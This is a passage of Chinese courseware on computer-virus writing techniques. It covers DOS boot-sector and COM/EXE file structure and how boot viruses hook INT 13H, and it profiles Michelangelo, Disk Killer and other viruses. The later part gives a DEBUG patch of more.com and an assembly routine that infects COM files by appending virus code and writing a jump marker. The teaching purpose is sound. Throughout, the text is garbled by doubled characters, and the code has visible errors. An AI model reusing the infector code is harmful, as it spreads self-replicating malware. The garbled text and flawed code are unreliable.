第7章-计算机病毒编制关键技术及典型计算机课件

上传人:工**** 文档编号:593234216 上传时间:2024-09-24 格式:PPT 页数:253 大小:559KB
返回 下载 相关 举报
第7章-计算机病毒编制关键技术及典型计算机课件_第1页
第1页 / 共253页
第7章-计算机病毒编制关键技术及典型计算机课件_第2页
第2页 / 共253页
第7章-计算机病毒编制关键技术及典型计算机课件_第3页
第3页 / 共253页
第7章-计算机病毒编制关键技术及典型计算机课件_第4页
第4页 / 共253页
第7章-计算机病毒编制关键技术及典型计算机课件_第5页
第5页 / 共253页
点击查看更多>>
资源描述

《第7章-计算机病毒编制关键技术及典型计算机课件》由会员分享,可在线阅读,更多相关《第7章-计算机病毒编制关键技术及典型计算机课件(253页珍藏版)》请在金锄头文库上搜索。

1、第第7章章 计算机病毒编制关键技术计算机病毒编制关键技术及典型计算机病毒及典型计算机病毒7.1 DOS病毒分析病毒分析7.2 Windows病毒分析病毒分析7.3 网络病毒分析网络病毒分析7.4 宏病毒分析宏病毒分析7.5 木马病毒分析木马病毒分析7.6 手机(手机(GSM)病毒分析)病毒分析习题习题引导型病毒是指病毒侵入系统引导区,从而引发破坏引导型病毒是指病毒侵入系统引导区,从而引发破坏行为的一种病毒特性。行为的一种病毒特性。DOS启动时,绝大多数引导型启动时,绝大多数引导型病毒感染硬盘主引导扇区和病毒感染硬盘主引导扇区和DOS引导扇区。引导扇区。7.1 DOS病毒分析病毒分析 7.1.1

2、 引导型病毒引导型病毒1. DOS下的磁盘引导区结构下的磁盘引导区结构在在DOS操作系统控制下,磁盘引导区一般由操作系统控制下,磁盘引导区一般由3部分组部分组成:主引导记录(成:主引导记录(Main Boot Record)、磁盘分区表)、磁盘分区表(Disk Partition Table,PDT)和主引导记录有效标志和主引导记录有效标志字。字。(1) 硬盘的主引导记录结构硬盘的主引导记录结构主引导记录结构如表主引导记录结构如表7.1(见书(见书178页)所示。页)所示。分区表自偏移分区表自偏移1BEH处开始,共处开始,共64个字节,每个字节,每16个字个字节为一个分区说明项,存放分区结构信

3、息,因此表中节为一个分区说明项,存放分区结构信息,因此表中可填入可填入4个分区信息。个分区信息。硬盘主引导记录程序存放在分区表的硬盘主引导记录程序存放在分区表的0000H00D9H处,它的功能是读出自举分区的处,它的功能是读出自举分区的Boot程序,并把控制程序,并把控制转移到分区转移到分区Boot程序。程序流程如下:程序。程序流程如下: 将本来读入到将本来读入到0000:7C00H处的硬盘主引导记录处的硬盘主引导记录程序移至程序移至0000:61BH处;处; 顺序读入顺序读入4个分区表的自举标志,以找出自举分区,个分区表的自举标志,以找出自举分区,若找不到,转而执行若找不到,转而执行INT

4、18H的的Boot异常执行中断程异常执行中断程序;序; 找到自举分区后,检测该分区的系统标志,若为找到自举分区后,检测该分区的系统标志,若为32位位FAT表或表或16位位FAT表但支持表但支持13号中断的扩展功能,号中断的扩展功能,就转到执行就转到执行13号中断的号中断的41号功能调用进行安装检验,号功能调用进行安装检验,检验成功,就执行检验成功,就执行42号扩展读功能调用把号扩展读功能调用把Boot区程序区程序读入到内存读入到内存0000:7C00H处,成功,跳到第处,成功,跳到第步,若步,若读失败或系统标志为其他,就调用读失败或系统标志为其他,就调用13号中断的读扇区号中断的读扇区功能调用

5、把功能调用把Boot读到读到0000:7C00H; 用用13号中断的读扇区功能时,用两种方式分别进号中断的读扇区功能时,用两种方式分别进行行5次试读。第一种方式是直接从自举分区的头扇区次试读。第一种方式是直接从自举分区的头扇区读入读入Boot程序,若读成功,但结束标志不是程序,若读成功,但结束标志不是55AA,则改用第二种方式,又如果用第一种方式试读则改用第二种方式,又如果用第一种方式试读5次均次均不成功,就改用第二种方式。若两种方式试读均失败,不成功,就改用第二种方式。若两种方式试读均失败,就转到出错处理程序;就转到出错处理程序; 读入读入Boot区程序成功,转至区程序成功,转至0000:7

6、C00H处执行处执行Boot程序。程序。(2) 分区表结构分区表结构分区表占据偏移地址分区表占据偏移地址1BEH01FDH范围的空间,共范围的空间,共64B,每,每16B为一个分区说明项,存放分区结构信息,为一个分区说明项,存放分区结构信息,如表如表7.2(见书(见书179页)所示。页)所示。 每一个分区表中扩展分区说明项实际上指示下一每一个分区表中扩展分区说明项实际上指示下一个分区表的位置(簇、磁头号、扇区号)。最后一个个分区表的位置(簇、磁头号、扇区号)。最后一个分区表没有扩展分区说明项。分区表没有扩展分区说明项。 每一个分区表都会有一个实际分区说明项,也就每一个分区表都会有一个实际分区说

7、明项,也就是对逻辑盘的实际起始、终止位置进行说明。是对逻辑盘的实际起始、终止位置进行说明。 除逻辑盘主引导记录及分区表共占用一个扇区,除逻辑盘主引导记录及分区表共占用一个扇区,其他分区表则各占一个扇区,自该扇区其他分区表则各占一个扇区,自该扇区01BEH处开处开始,以始,以55AAH结束。结束。2. 引导型病毒的运行机制引导型病毒的运行机制引导型病毒是把原来的主引导记录保存后用自己的程引导型病毒是把原来的主引导记录保存后用自己的程序替代掉原来的主引导记录。启动时,当病毒体得到序替代掉原来的主引导记录。启动时,当病毒体得到控制权,在做完了处理后,病毒将保存的原主引导记控制权,在做完了处理后,病毒

8、将保存的原主引导记录读入录读入0000:7C00H处,然后将控制权交给原主引导处,然后将控制权交给原主引导记录进行启动。这类病毒的感染途径是通过磁盘操作记录进行启动。这类病毒的感染途径是通过磁盘操作引起的。例如,当用一个染毒的系统软盘启动计算机引起的。例如,当用一个染毒的系统软盘启动计算机时,就有可能将病毒传染给硬盘,从而引起硬盘引导时,就有可能将病毒传染给硬盘,从而引起硬盘引导区染毒;同样,当某软盘在一台染毒的计算机上运行区染毒;同样,当某软盘在一台染毒的计算机上运行时,硬盘上的病毒就可能感染软盘。时,硬盘上的病毒就可能感染软盘。 因此,引导型病毒能否成功运行的关键技术涉及有以因此,引导型病

9、毒能否成功运行的关键技术涉及有以下几个方面:保存主引导记录、调用下几个方面:保存主引导记录、调用BIOS磁盘服务磁盘服务功能、寻找病毒感染途径和病毒驻留位置。功能、寻找病毒感染途径和病毒驻留位置。(1) 保存原始主引导记录保存原始主引导记录众所周知,文件型病毒用以保存被感染修改的部分是众所周知,文件型病毒用以保存被感染修改的部分是文件。引导型病毒是否也可以使用文件存储被覆盖的文件。引导型病毒是否也可以使用文件存储被覆盖的引导记录呢?答案是否定的。由于主引导记录病毒先引导记录呢?答案是否定的。由于主引导记录病毒先于操作系统执行,因而不能使用操作系统的功能调用,于操作系统执行,因而不能使用操作系统

10、的功能调用,而只能使用而只能使用BIOS的功能调用或者使用直接的的功能调用或者使用直接的I/O设计。设计。一般使用一般使用BIOS的磁盘服务将主引导记录保存于绝对的磁盘服务将主引导记录保存于绝对的扇区内。由于的扇区内。由于0道道0面面2扇区是保留扇区,因而通常扇区是保留扇区,因而通常使用它来保存。使用它来保存。(2) BIOS磁盘服务功能的调用磁盘服务功能的调用在引导型病毒的程序代码中,常常会用到在引导型病毒的程序代码中,常常会用到BIOS磁盘磁盘服务功能的调用,服务功能的调用,INT 13H中断调用子功能中断调用子功能02H、03H能进行磁盘读写操作,因此,常被病毒代码利用。能进行磁盘读写操

11、作,因此,常被病毒代码利用。利用利用INT 13H子功能子功能 02H调用读扇区入口为:调用读扇区入口为:AH=02H,AL=读入的扇区数,读入的扇区数,CH=磁道号,磁道号,CL=扇扇区号(从区号(从1开始),开始),DH=头号,头号,DL=物理驱动器号,物理驱动器号,ES:BX-要填充的缓冲区;返回值为:当要填充的缓冲区;返回值为:当CF置位时置位时表示调用失败,表示调用失败,AH=状态,状态,AL=实际读入的扇区数。实际读入的扇区数。利用利用INT 13H子功能子功能03H调用写扇区入口为:调用写扇区入口为:AH=03H,AL=写入的扇区数,写入的扇区数,CH=磁道号,磁道号,CL=扇扇

12、区号(从区号(从1开始),开始),DH=头号,头号,DL=物理驱动器号,物理驱动器号,ES:BX-缓冲区;返回值为:当缓冲区;返回值为:当CF置位时表示调用置位时表示调用失败,失败,AH=状态,状态,AL=实际写入的扇区数。实际写入的扇区数。(3) 病毒感染途径病毒感染途径通常这类病毒通过截获中断向量通常这类病毒通过截获中断向量INT 13H进行系统监进行系统监控。当存在有关于软盘或硬盘的磁盘读写时,病毒将控。当存在有关于软盘或硬盘的磁盘读写时,病毒将检测其是否干净,若尚未感染则感染之。检测其是否干净,若尚未感染则感染之。(4) 驻留位置驻留位置 通常病毒通过修改基本内存的大小来获取自己驻留的

13、通常病毒通过修改基本内存的大小来获取自己驻留的空间。基本内存大小的存储位置在空间。基本内存大小的存储位置在40H:13H,单位为,单位为KB。病毒体存在于最后的一点内存中。病毒体存在于最后的一点内存中。3. 典型的引导型病毒典型的引导型病毒(1) 病毒名:病毒名:Disk Killer病毒别名:磁盘杀手病毒别名:磁盘杀手特征代码:特征代码:C3 10 E2 F2 C6 06 F3 01 FF 90 EB 55病毒长度:病毒长度:520B病毒特征:感染病毒特征:感染Boot扇区,当用染有该病毒的软盘启扇区,当用染有该病毒的软盘启动系统时,病毒进入内存,并感染硬盘。当进行动系统时,病毒进入内存,并

14、感染硬盘。当进行I/O操作时,病毒会感染其他软盘。操作时,病毒会感染其他软盘。当病毒侵入软盘时,除感染软盘当病毒侵入软盘时,除感染软盘Boot扇区外,额外占扇区外,额外占用用3个簇,并将其在个簇,并将其在FAT表中标为坏簇。病毒编写者表中标为坏簇。病毒编写者此时犯了一个错误,即将病毒占用的此时犯了一个错误,即将病毒占用的3个簇相邻的一个簇相邻的一个簇也标为坏簇了。个簇也标为坏簇了。当病毒侵入硬盘时,除感染硬盘当病毒侵入硬盘时,除感染硬盘Boot扇区外,还将自扇区外,还将自身隐藏在身隐藏在0柱柱0面道的最后面道的最后5个扇区中。在某些硬盘个扇区中。在某些硬盘中这些扇区属于保留扇区,受到系统的保护

15、,用中这些扇区属于保留扇区,受到系统的保护,用DEBUG的的L命令不可能看到它们,必须用命令不可能看到它们,必须用DEBUG的的A命令编写一段汇编程序才能看到。命令编写一段汇编程序才能看到。在计算机内部,病毒占用了在计算机内部,病毒占用了INT8,设置了内部计数,设置了内部计数器。对计算机每秒器。对计算机每秒13.2s的时钟中断进行计数。当计的时钟中断进行计数。当计数值达到数值达到300000H(也即也即3145728/18.2=172842s,约合,约合48h)时,病毒被触发。这时,键盘死锁,一些杂乱数时,病毒被触发。这时,键盘死锁,一些杂乱数据被写入硬盘,直至全部数据被毁坏为止。据被写入硬

16、盘,直至全部数据被毁坏为止。该病毒在该病毒在I/O操作时,会随时将计数器的值写入硬盘操作时,会随时将计数器的值写入硬盘保存起来。由于计数器的值被保存在硬盘中,病毒可保存起来。由于计数器的值被保存在硬盘中,病毒可以对工作时间进行累计。达到预定时间,病毒引爆。以对工作时间进行累计。达到预定时间,病毒引爆。(2) 病毒名:病毒名:Michelangelo病毒别名:米开朗基罗病毒别名:米开朗基罗特征代码:特征代码:33 C9 B4 04 CD 1A 81 FA 06 03 74 01 CB 33 D2 B9 01 00 B8 D9病毒长度:病毒长度:430B病毒特征:每年病毒特征:每年3月月6日日(意

17、大利画家米开朗基罗的生意大利画家米开朗基罗的生日日)发作,病毒盘启动后,内存总量减少发作,病毒盘启动后,内存总量减少1KB。该病毒占用中断该病毒占用中断INT 13H,对硬盘而言,将原主引导,对硬盘而言,将原主引导扇区写入扇区写入0柱柱0头头7扇区;对软盘来说,若为扇区;对软盘来说,若为360KB软软盘,则将盘,则将Boot扇区写入扇区写入0道道1头头3扇区,对扇区,对1.2MB、1.4MB软盘,则将原软盘,则将原Boot扇区写入扇区写入0道道1头头14扇区。扇区。在染毒扇区的在染毒扇区的13EH处,有病毒特征码值:处,有病毒特征码值:33 C9 B4 04 CD 1A 81 FA 06 03

18、 74 01 CB 33 D2 B9 01 00 B8 D9。该病毒用该病毒用INT 1AH的的04号功能,查询系统日期,当日号功能,查询系统日期,当日期值为期值为3月月6日时,病毒被触发,病毒发作时,将磁盘日时,病毒被触发,病毒发作时,将磁盘从从0道道0头开始,对头开始,对0255个扇区全部乱写;一旦乱写,个扇区全部乱写;一旦乱写,无法恢复。无法恢复。FAT表、目录全部被破坏。表、目录全部被破坏。(3) 病毒名:病毒名:Ping Pong 病毒别名:小球病毒别名:小球病毒特征:病毒触发后,屏幕上显示一个跳动的小球病毒特征:病毒触发后,屏幕上显示一个跳动的小球,小球碰到屏幕小球碰到屏幕4个边缘

19、会反弹,它对西文屏幕显示干个边缘会反弹,它对西文屏幕显示干扰不大,对中文屏幕扰乱较大。扰不大,对中文屏幕扰乱较大。病毒感染病毒感染Boot扇区,使用染毒磁盘启动系统时,病毒扇区,使用染毒磁盘启动系统时,病毒进驻内存。病毒可以感染不带进驻内存。病毒可以感染不带DOS系统的软盘,用这系统的软盘,用这种染毒盘启动系统时,会显示出错信息,要求用户插种染毒盘启动系统时,会显示出错信息,要求用户插入系统盘,此时病毒已经进入内存,任何插入的清洁入系统盘,此时病毒已经进入内存,任何插入的清洁的的DOS盘片在启动时,都可能受到感染。盘片在启动时,都可能受到感染。病毒除占用病毒除占用Boot扇区外,在磁盘中还占用

20、了一个空簇,扇区外,在磁盘中还占用了一个空簇,其中一个扇区用于存放病毒代码,另一扇区保存原其中一个扇区用于存放病毒代码,另一扇区保存原Boot扇区代码,这个被病毒占用的串簇被标为扇区代码,这个被病毒占用的串簇被标为“坏簇坏簇”以防止被操作系统写入别的数据。以防止被操作系统写入别的数据。该病毒不会攻击该病毒不会攻击80286、80386 CPU的微机,因为,的微机,因为,病毒中使用的某些代码在上述微机中不合法。小球病病毒中使用的某些代码在上述微机中不合法。小球病毒只能在毒只能在8086和和8088 CPU的微机上工作。当小球病的微机上工作。当小球病毒感染毒感染80286、80386 CPU的微机

21、时,将会死机,虽的微机时,将会死机,虽然系统崩溃没有什么危险,但是个麻烦。然系统崩溃没有什么危险,但是个麻烦。4. 病毒名:病毒名:Marijuana 病毒别名:大麻病毒别名:大麻病毒特征:病毒触发后,屏幕上显示如下信息:病毒特征:病毒触发后,屏幕上显示如下信息:“Your PC is now Stone!”感染大麻病毒的软盘感染大麻病毒的软盘Boot扇区中,可找到如下字符串:扇区中,可找到如下字符串:“Your PC is now Stone!”“LEGALISE MARIJUANA!”病毒占用了软盘的病毒占用了软盘的Boot扇区,将原扇区,将原Boot扇区存放在扇区存放在0道道1侧侧3扇区

22、;对硬盘而言,病毒占用硬盘的主引导扇扇区;对硬盘而言,病毒占用硬盘的主引导扇区,将原主引扇区保存在区,将原主引扇区保存在0柱柱0头头7扇区。扇区。文件型病毒是文件型病毒是DOS病毒中的大家族,文件病毒有广义病毒中的大家族,文件病毒有广义和狭义之称。广义的可执行文件病毒包括了通常所说和狭义之称。广义的可执行文件病毒包括了通常所说的可执行文件病毒、源码病毒,甚至的可执行文件病毒、源码病毒,甚至bat病毒和病毒和Word宏病毒,狭义的可执行文件病毒即宏病毒,狭义的可执行文件病毒即com型和型和exe型病型病毒。这里主要介绍毒。这里主要介绍com和和exe型病毒。型病毒。7.1.2 文件型病毒文件型病

23、毒1. com和和exe文件结构文件结构(1) com文件结构及原理文件结构及原理com文件结构比较简单,它包含程序的一个绝对映像,文件结构比较简单,它包含程序的一个绝对映像,即为了运行程序准确的处理器指令和内存中的数据,即为了运行程序准确的处理器指令和内存中的数据,MS-DOS通过直接把该映像从文件复制到内存,从而通过直接把该映像从文件复制到内存,从而加载加载com程序,而不做任何改变。程序,而不做任何改变。为加载一个为加载一个com程序,程序,MS-DOS首先试图分配内存,首先试图分配内存,因为因为com程序必须位于一个程序必须位于一个64KB的段中,所以的段中,所以com文文件的大小不能

24、超过件的大小不能超过65 024(64KB减去用于减去用于PSP的的256B和用于一个起始堆栈的至少和用于一个起始堆栈的至少256B)。如果。如果MS-DOS不不能为程序、一个能为程序、一个PSP、一个起始堆栈分配足够内存,、一个起始堆栈分配足够内存,则分配尝试失败。否则,则分配尝试失败。否则,MS-DOS分配尽可能多的内分配尽可能多的内存存(直至所有保留内存直至所有保留内存),即使,即使com程序本身不能大于程序本身不能大于64KB。在试图运行另一个程序或分配另外的内存之。在试图运行另一个程序或分配另外的内存之前,大部分前,大部分com程序释放任何不需要的内存。程序释放任何不需要的内存。 分

25、配内存后,分配内存后,MS-DOS在该内存的前在该内存的前256B建立一个建立一个PSP,如果,如果PSP中的第一个中的第一个FCB含有一个有效驱动器含有一个有效驱动器标识符,则置标识符,则置AL为为00H,否则置为,否则置为0FFH。MS-DOS还置还置AH为为00H或或0FFH,这依赖于第二个,这依赖于第二个FCB是否含是否含有一个有效驱动器标识符。建造有一个有效驱动器标识符。建造PSP后,后,MS-DOS在在PSP后立即开始(偏移后立即开始(偏移100H)加载)加载com文件,它置文件,它置SS、DS和和ES为为PSP的段地址,接着创建一个堆栈。为创的段地址,接着创建一个堆栈。为创建这个

26、堆栈,在已分配了至少建这个堆栈,在已分配了至少64KB内存的情况下,内存的情况下,MS-DOS置置SP为为0000H;否则;否则,它置寄存器为比所分它置寄存器为比所分配的字节总数大配的字节总数大2的值。最后,将的值。最后,将0000H进栈。进栈。MS-DOS通过把控制传递给偏移通过把控制传递给偏移100H处的指令而启处的指令而启动程序。程序设计者必须保证动程序。程序设计者必须保证COM文件的第一条指文件的第一条指令是程序的入口点。令是程序的入口点。(2) exe文件结构及原理文件结构及原理 exe文件比较复杂,属于一种多段的结构,是文件比较复杂,属于一种多段的结构,是DOS最最成功和复杂的设计

27、之一。要了解成功和复杂的设计之一。要了解exe文件,首先需要文件,首先需要了解了解exe文件的文件头结构。文件的文件头结构。每个每个exe文件包含一个文件头和一个可重定位程序映文件包含一个文件头和一个可重定位程序映像。文件头包含像。文件头包含MS-DOS用于加载程序的信息。文件用于加载程序的信息。文件头还指向一个重定位表头还指向一个重定位表,该表包含指向程序映像中可该表包含指向程序映像中可重定位段地址的指针链表。重定位段地址的指针链表。exe文件的文件头结构如文件的文件头结构如表表7.3(见书(见书187页)所示。页)所示。程序映像,包含处理器代码和程序的初始数据,紧接程序映像,包含处理器代码

28、和程序的初始数据,紧接在文件头之后。它的大小以字节为单位,等于在文件头之后。它的大小以字节为单位,等于exe文文件的大小减去文件头的大小,也等于件的大小减去文件头的大小,也等于exHeaderSize的的域的值乘以域的值乘以16。MS-DOS通过把该映像直接从文件复通过把该映像直接从文件复制到内存加载制到内存加载exe程序,然后调整定位表中说明的可程序,然后调整定位表中说明的可重定位段地址。重定位段地址。定位表是一个重定位指针数组,每个指向程序映像中定位表是一个重定位指针数组,每个指向程序映像中的可重定位段地址。文件头中的的可重定位段地址。文件头中的exRelocItems域说明域说明了数组中

29、指针的个数,了数组中指针的个数,exRelocTable域说明了分配表域说明了分配表的起始文件偏移量。每个重定位指针由两个的起始文件偏移量。每个重定位指针由两个16位值组位值组成:偏移量和段值。成:偏移量和段值。为加载为加载exe程序,程序,MS-DOS首先读文件头以确定首先读文件头以确定exe标标志并计算程序映像的大小。然后它试图申请内存。首志并计算程序映像的大小。然后它试图申请内存。首先,它计算程序映像文件的大小加上先,它计算程序映像文件的大小加上PSP的大小再加的大小再加上上EXEHEADER结构中的结构中的exMinAlloc域说明的内存域说明的内存大小这大小这3者之和。如果总和超过最

30、大可用内存块的大者之和。如果总和超过最大可用内存块的大小,则小,则MS-DOS停止加载程序并返回一个出错值。否停止加载程序并返回一个出错值。否则,它计算程序映像的大小加上则,它计算程序映像的大小加上PSP的大小再加上的大小再加上EXEHEADER结构中结构中exMaxAlloc域说明的内存大小域说明的内存大小之和,如果第二个总和小于最大可用内存块的大小,之和,如果第二个总和小于最大可用内存块的大小,则则MS-DOS分配计算得到的内存量。否则,它分配最分配计算得到的内存量。否则,它分配最大可用内存块。大可用内存块。分配完内存后,分配完内存后,MS-DOS确定段地址,也称为起始段确定段地址,也称为

31、起始段地址,地址,MS-DOS从此处加载程序映像。如果从此处加载程序映像。如果exMinAlloc域和域和exMaxAlloc域中的值都为零,则域中的值都为零,则MS-DOS把映像尽可能地加载到内存最高端。否则,它把把映像尽可能地加载到内存最高端。否则,它把映像加载到紧挨着映像加载到紧挨着PSP域之上。域之上。接下来,接下来,MS-DOS读取重定位表中的项目调整所有由读取重定位表中的项目调整所有由可重定位指针说明的段地址。对于重定位表中的每个可重定位指针说明的段地址。对于重定位表中的每个指针,指针,MS-DOS寻找程序映像中相应的可重定位段地寻找程序映像中相应的可重定位段地址,并把起始段地址加

32、到它之上。一旦调整完毕,段址,并把起始段地址加到它之上。一旦调整完毕,段地址便指向了内存中被加载程序的代码和数据段。地址便指向了内存中被加载程序的代码和数据段。 MS-DOS在所分配内存的最低部分建造在所分配内存的最低部分建造256B的的PSP,把把AL和和AH设置为加载设置为加载com程序时所设置的值。程序时所设置的值。MS-DOS使用文件头中的值设置使用文件头中的值设置SP与与SS,调整,调整SS初始值,初始值,把起始地址加到它之上。把起始地址加到它之上。MS-DOS还把还把ES和和DS设置设置为为PSP的段地址。最后,的段地址。最后,MS-DOS从程序文件头读取从程序文件头读取CS和和I

33、P的初始值的初始值,把起始段地址加到把起始段地址加到CS之上,把控制之上,把控制转移到位于调整后地址处的程序。转移到位于调整后地址处的程序。2. 文件型病毒编制原理文件型病毒编制原理 文件型病毒的编制方法一般是将病毒程序植入正常程文件型病毒的编制方法一般是将病毒程序植入正常程序中或是将病毒程序覆盖正常程序的部分代码,以源序中或是将病毒程序覆盖正常程序的部分代码,以源文件作为病毒程序的载体,将病毒程序隐藏其间。正文件作为病毒程序的载体,将病毒程序隐藏其间。正常情况下,看不出程序有可变化,当一定的条件满足常情况下,看不出程序有可变化,当一定的条件满足时,病毒发作,感染和破坏系统。一般作法是利用时,

34、病毒发作,感染和破坏系统。一般作法是利用com或或exe文件的文件头,找到可执行文件的入口,文件的文件头,找到可执行文件的入口,将病毒程序安插到程序中,重新设置或修改文件的起将病毒程序安插到程序中,重新设置或修改文件的起始代码,并使其能转到病毒程序运行。病毒程序代码始代码,并使其能转到病毒程序运行。病毒程序代码一般分为一般分为3个模块:初始设置模块、感染模块和破坏个模块:初始设置模块、感染模块和破坏模块。下面以模块。下面以com文件为例介绍其病毒编写方法。文件为例介绍其病毒编写方法。文件型病毒要感染文件型病毒要感染com文件有两种方法,一种是将病文件有两种方法,一种是将病毒加载在毒加载在com

35、文件前部,一种是加在文件尾部。在前文件前部,一种是加在文件尾部。在前部时原文件的前部时原文件的前3B被修改。当被修改。当DOS加载加载exe文件时,文件时,根据文件头信息,调入一定长度的文件,设置根据文件头信息,调入一定长度的文件,设置SS、SP从从CS:IP开始执行。病毒一般将自己加在文件的末开始执行。病毒一般将自己加在文件的末端,并修改端,并修改CS、IP的值,使其指向病毒起始地址,的值,使其指向病毒起始地址,修改文件长度信息、修改文件长度信息、SS和和SP。 com文件是一种单段执行结构,起源于文件是一种单段执行结构,起源于CPM-86操作操作系统,其执行文件代码和执行时内存映像完全相同

36、,系统,其执行文件代码和执行时内存映像完全相同,起始执行偏移地址为起始执行偏移地址为100H,对应于文件的偏移是,对应于文件的偏移是0。(1) 病毒编制实验病毒编制实验以以com型文件(如型文件(如DOS 6.22英文版中的英文版中的程序程序)为例,进行如下病毒实验:)为例,进行如下病毒实验: 利用利用DEBUG程序,读出程序,读出DOS 6.22英文版中的英文版中的程序。代码如下:程序。代码如下:C:>debug -u 0CA4:0100 B8371E MOV AX,1E37;注意前注意前3个字节的内容(病毒修改的地方)个字节的内容(病毒修改的地方) 0CA4:0103 BA3008

37、 MOV DX,0830 0CA4:0106 3BC4CMP AX,SP 0CA4:0108 7369 JNB0173 0CA4:010A 8BC4MOV AX,SP 0CA4:010C 2D4403 SUBAX,0344 0CA4:010F 90 NOP 0CA4:0110 25F0FF ANDAX,FFF0 0CA4:0113 8BF8MOV DI,AX 0CA4:0115 B9A200 MOV CX,00A2 0CA4:0118 90 NOP 0CA4:0119 BE7E01 MOV SI,017E 0CA4:011C FCCLD 0CA4:011D F3REPZ 0CA4:011E A

38、5MOVSW 0CA4:011F 8BD8MOVBX,AX -r AX=0000BX=0000CX=09F1DX=0000SP=FFFEBP=0000SI=0000DI=0000 DS=0CA4ES=0CA4SS=0CA4CS=0CA4IP=0100 NV UP EI PL NZ NA PO NC 0CA4:0100 B8371EMOVAX,1E37 从从0CA4:0AF1处开始,增加一段病毒代码。处开始,增加一段病毒代码。-a af1 0CA4:0AF1 mov ah,0 0CA4:0AF3 int 16;等待按键等待按键 0CA4:0AF5 cmp a1,1b;等待按等待按Esc键键 0C

39、A4:0AF7 jnz af1 0CA4:0AF9 mov word ptr 100,37b8;恢复程序开始的恢复程序开始的3个字节个字节0CA4:0AFF mov byte ptr 102,1e 0CA4:0B04 push cs ;进栈进栈CS:100 0CA4:0B05 mov si,100 0CA4:0B08 push si 0CA4:0B09 retf;retf回到回到CS:100,程序开始处,程序开始处 0CA4:0B0A 修改原修改原程序程序0CA4:0100处的值。处的值。-a 100 0CA4:0100 jmp af1 ;将程序开头改成跳转到修改的模块将程序开头改成跳转到修改

40、的模块 0CA4:0103 -rcx CX 09F1 : a0a -w Writing 00A0A bytes -q 结果。程序写盘退出后,再执行结果。程序写盘退出后,再执行more程序,发现程序,发现如果不按如果不按Esc键程序无法执行。这是因为,首先在源键程序无法执行。这是因为,首先在源程序的尾部添加了一段程序(相当于病毒模块),该程序的尾部添加了一段程序(相当于病毒模块),该程序是等待接受键盘输入,当键盘输入程序是等待接受键盘输入,当键盘输入Esc时,恢复时,恢复源程序并返回执行源程序;然后将源程序开始处的指源程序并返回执行源程序;然后将源程序开始处的指令修改成无条件跳转到所添加程序的开

41、始位置,所以,令修改成无条件跳转到所添加程序的开始位置,所以,当程序启动后,直接转去执行所添加的程序段。当程序启动后,直接转去执行所添加的程序段。(2) com文件型病毒运行机制文件型病毒运行机制感染感染com文件的典型做法是在源文件的尾部增加一段文件的典型做法是在源文件的尾部增加一段病毒代码,并将源文件的起始指令修改为无条件跳转病毒代码,并将源文件的起始指令修改为无条件跳转到病毒代码开始处,头结构部分如下:到病毒代码开始处,头结构部分如下: cs:0100jmp endoffile;db 0e9h ;dw size of com file . endoffile: virusstart: v

42、irus code mov ax,orgcode mov 100,ax mov al,orgcode+2 mov 102,al virussize=$-virusstart resume: jmp 100;db 0e9h ;dw -(sizeofcom+virussize) orgcode db 3 dup (?);源文件由源文件由0100开始的开始的3个字个字节节感染文件,先将开始的感染文件,先将开始的3字节保存在字节保存在orgcode中,然后中,然后更改为更改为0e9h,size of com file。将。将resume开始的开始的3字节字节改为改为0e9h,(sizeofcom+vi

43、russize)。将病毒写入。将病毒写入com文件的末尾。文件的末尾。完整的感染代码还需要有已感染的判断和文件大小的完整的感染代码还需要有已感染的判断和文件大小的判断,如下介绍:判断,如下介绍:假设假设DS:DX指向文件名指向文件名VirusSize,VirusStart的定义如的定义如上,并做以下的修改上,并做以下的修改: 保存开始的保存开始的4个字节个字节 db 90h,0E9h dw sizeofcom 替换,以替换,以0E990h为感染标记为感染标记 . mov ax,3d01h int 21h;open for r/w jc OpenError push dx xchg ax,bx

44、mov ax,4202h xor cx,cx xor dx,dx int 21h;seek to end or dx,dx jnz complete ;file larger than 64k,donot infect cmp ax,0FEEEh-VirusSize-11 jnb complete;com file too large for infect cmp ax,4 Jbcomplete;file less than 4 bytes,donot infected mov di,offset orgcode mov di+6,ax add di+6,VirusSize ;generate

45、 code to replace mov ax,4200h xor cx,cx xor dx,dx int 21h;seek to begin mov cx,4 mov dx,di mov ah,3fh int 21h;read 4 bytes jc complete cmp word ptr di,0E990h ;if has been infected,should be ;nop ;jmp XXXX jz complete mov cx,4add dx,cx mov ah,40h int 21h;write 4 byte to the beginning mov ax,4202h xor

46、 cx,cx xor dx,dx int 21h;seek to end mov ah,40h mov dx,VirusStart mov cx,VirusSize+11 int 21h;write Virus Code to COM complete: mov ah,3fh int 21h;close file ErrorOpen: . 3. 典型的文件型病毒典型的文件型病毒(1) Vienna病毒病毒病毒别名:维也纳病毒别名:维也纳感染类型:感染类型:com文件文件病毒特征:病毒运行时,首先在当前文件目录或搜索病毒特征:病毒运行时,首先在当前文件目录或搜索路径的一个目录中,寻找第一个未被感

47、染的路径的一个目录中,寻找第一个未被感染的com文件,文件,并对其进行感染。受感染的并对其进行感染。受感染的com文件长度增加文件长度增加648B。感染感染com文件时,在宿主程序的开始文件时,在宿主程序的开始3个字节放置一个字节放置一条条JMP命令,病毒代码放置在宿主程序的尾部。用程命令,病毒代码放置在宿主程序的尾部。用程序开头处的序开头处的JMP命令跳向病毒代码,使病毒代码在宿命令跳向病毒代码,使病毒代码在宿主程序之前获得运行权。主程序之前获得运行权。该病毒每次运行都企图感染一个该病毒每次运行都企图感染一个com文件,如果被感文件,如果被感染的磁盘上贴有写保护标签时,屏幕上显示报警信息:染

48、的磁盘上贴有写保护标签时,屏幕上显示报警信息:“Write protect error Writing drive x”。(2) 1701/1704-B病毒别名:雨点病毒别名:雨点感染类型:感染类型:com文件文件病毒特征:被感染的宿主程序开始处病毒特征:被感染的宿主程序开始处3B放置一条放置一条JMP命令。病毒代码放在宿主程序的后部。感染后,命令。病毒代码放在宿主程序的后部。感染后,文件增长文件增长1701B或或1704B。病毒中含有病毒中含有682B的密码。宿主程序开始处原来的的密码。宿主程序开始处原来的3B被隐藏在密码中,静态时,不能找出宿主程序开始处被隐藏在密码中,静态时,不能找出宿主

